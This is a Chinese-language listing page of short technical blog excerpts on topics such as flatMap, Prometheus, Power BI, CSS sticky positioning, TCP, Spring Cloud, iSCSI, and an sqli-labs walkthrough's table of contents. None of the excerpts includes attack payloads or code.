    实战背景 小伙伴遇到了数据处理方面的问题如下 只能说看到这里我也一头雾水 毕竟我也是菜 那就请教大佬吧 Map flat 循环 二维 变 一维 就是 flatMap 了 啊这 但是 flatMap 到底是个嘛呢 还是不明觉厉 那就问度娘吧
  • prometheus监控NODE.JS API

    prometheus监控NODE JS API SWAGGER STATS Exporter是Prometheus的一类数据采集组件的总称 它负责从目标处搜集数据 并将其转化为Prometheus支持的格式 然后等待Prometheus定时
  • Power BI RANKX函数之计算列

    转载自 知乎 在实际做报表时 有时会遇到需要对某些指标 例如销售额等 进行排名 所以今天跟大家讨论一下可以实现排名的DAX函数 RANKX函数 首先看下RANKX函数的参数 RANKX table table
  • position:sticky特性(坑)总结

    1 sticky不会触发BFC 2 z index无效 3 当父元素的height 100 时 页面滑动到一定高度之后sticky属性会失效 4 父元素不能有overflow hidden或者overflow auto属性 5 父元素高度不
  • Leptonica在VS2010中的编译及简单使用举例

    在tesseract ocr中会用到leptonica库 这里对leptonica简单介绍下 Leptonica是一个开源的图像处理和图像分析库 它的license是BSD 2 clause 它主要包括的操作有 位图操作 仿射变换 形态学操
  • chatgpt输出长度有限制,如何解决

    如果您想要在 ChatGPT 中输出更长的文本 可以考虑使用多次调用API 将结果进行拼接 您可以根据需要分割您的文本 分成多个部分 并且每次调用API时 将前一个调用的结果中的最后一句话作为下一个调用的输入 这样就可以将多次调用的结果进行
  • 记录下Charles 抓包tiktok遇到的坑,以及调查关于 SSL unpinning 中增长的皮毛知识

    由于之前用Charles 抓包浏览器请求很容易 于是觉得抓手机的包应该也不难 没想到迎来了目前我程序员生涯的最大的一次挑战 妈呀 完全出圈了呀 遇到知识盲区了 一大堆我名词搞得头都大了 记录一下吧 毕竟不长遇到 首先 先记录下调查过程中比较
  • 互联网大厂面试题之深入剖析TCP三次握手

    1 为什么要学习 市场动向分析 市场背景 对于这几年的互联网市场 越来越多的市场需求导致人才输出渠道更加丰富 五花八门的教育机构培训班 学校对互联网人才的培养同样会显得越来越重视 问题分析 那么 越来越多的人才的出现必将给我们学员带来更大的
  • 我们的微服务架构及Spring Cloud各个组件的概要

    初识spring cloud 我们目前的架构 我们将来的架构 什么是Spring Boot Spring Boot简化了基于Spring的应用开发 通过少量的代码就能创建一个独立的 产品级别的Spring应用 Spring Boot为Spr
  • 【Java知识点详解 8】缓存

    Java学习路线推荐 Java基础教程系列 SpringBoot精品推荐 Spring Boot基础教程 简介 Java领域优质创作者 CSDN哪吒公众号作者 Java架构师奋斗者 扫描主页左侧二维码 加入群聊 一起学习 一起进步 欢迎点赞
  • 中国开发者真实现状:40 岁不做开发,算法工程师最稀缺!

    戳蓝字 CSDN云计算 关注我们哦 互联网的 2018 年 注定是不平凡的一年 浩浩荡荡的美国制裁中兴事件唤醒了科技界对芯片产业的重视 倒逼了一系列芯片方面的布局和投资 互联网人口红利不断消耗 推动百度 腾讯 阿里巴巴等科技巨头先后实施战略
  • 常用的几种通信协议

    协议 约定 就比如我们的普通话 网络通信协议 速率 传输码率 代码结构 传输控制 问题大事化小 分层 TCP IP协议簇 重要 TCP 用户传输协议 UDP 用户数据报协议 知名协议 TCP IP 网络互联协议 TCP UDP 对比 TCP
  • SVN 检查修改或者提交代码时候一直显示"please wait"的解决办法(汉化版本显示"请稍候")

    在提交使用vue写的前端代码时候一直显示 请稍候 检查修改时候也是这样显示 原因是 下载代码后 npm install 安装了依赖 可以在SVN中取消对相关依赖的控制 操作方法
  • iscsi使用教程(中)

    服务端管理命令 tgtadm 是一个模式化的命令 其使用格式如下 tgtadm lld driver op operation mode mode OPTION 其中模式 mode 和操作 operation 对应关系如下 模式 操作 ta
  • JAVA经典面试题

    九种基本类型及封装类 基本类型 boolean byte char short int long double void 二进制位数 1 8 一字节 16 2字节 16 2字节 32 4字节 64 8字节 64 8字节 封装器类 Boole
  • sqli-labs通关(less1~less10)

    目录 题外话 Less 1 Less 2 Less 3 Less 4 Less 5 Less 6 Less 7 Less 8 Less 9 Less 10 这10关都是GET型的 包括了union注入 报错注入 布尔盲注和时间盲注 虽然包含